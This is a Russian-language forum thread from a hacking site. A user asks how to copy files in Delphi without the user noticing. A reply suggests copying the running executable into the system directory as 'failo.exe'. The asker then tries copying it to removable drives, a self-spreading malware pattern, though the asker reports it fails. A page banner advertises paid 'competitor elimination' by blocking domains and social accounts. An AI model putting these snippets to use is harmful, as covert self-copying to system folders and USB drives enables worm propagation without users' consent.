Копирование файлов

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
Копирование файлов

Опции темы

Поиск в этой теме

Опции просмотра

Копирование файлов

03.02.2010, 18:49

marcos

Участник форума

Регистрация: 08.11.2009

Сообщений: 114

С нами: 8687741

Репутация: -4

Копирование файлов

Всем привет! нашел функцию копирования файлов

Код:

function WindowsCopyFile(FromFile, ToDir : string) : boolean;
var F : TShFileOpStruct;
begin
  F.Wnd := 0; F.wFunc := FO_COPY;
  FromFile:=FromFile+#0; F.pFrom:=pchar(FromFile);
  ToDir:=ToDir+#0; F.pTo:=pchar(ToDir);
  F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION;
  result:=ShFileOperation(F) = 0;
end;

, но когда копируется показывается фигня, типа копируется файл... Как скопировать так, что бы пользователь не видел?

𝕏 Twitter Reddit Telegram Копировать ссылку

03.02.2010, 19:10

xafon

Познающий

Регистрация: 02.12.2009

Сообщений: 37

С нами: 8653311

Репутация: 15

Код:

copyfile(PAnsiChar(ParamStr(0)), PAnsiChar(SysDir+'failo.exe'), FALSE);

03.02.2010, 19:29

marcos

Участник форума

Регистрация: 08.11.2009

Сообщений: 114

С нами: 8687741

Репутация: -4

Цитата:

Сообщение от xafon

Код:

copyfile(PAnsiChar(ParamStr(0)), PAnsiChar(SysDir+'failo.exe'), FALSE);

Я не знаю правильно ли я сделал :

Код:

copyfile(PAnsiChar(ParamStr(0)), PAnsiChar(GetRemovableDrives[i]+':\mvh\'+k), FALSE);

Но, он не копирует(((

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Копирование найденых файлов Delphi	Leon2009	С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby	0	11.01.2010 22:13
Поиск файлов и копирование их C++	TheThief	С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby	10	10.10.2009 13:12
Файлчекер (FileChecker) скрипт мониторинга файлов сайта	TreV@N	PHP	6	07.02.2009 05:05
Ошибки Windows	dinar_007	Windows	19	01.07.2007 13:32
копирование файлов с флешке	Legion342	Болталка	8	13.02.2007 22:00

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход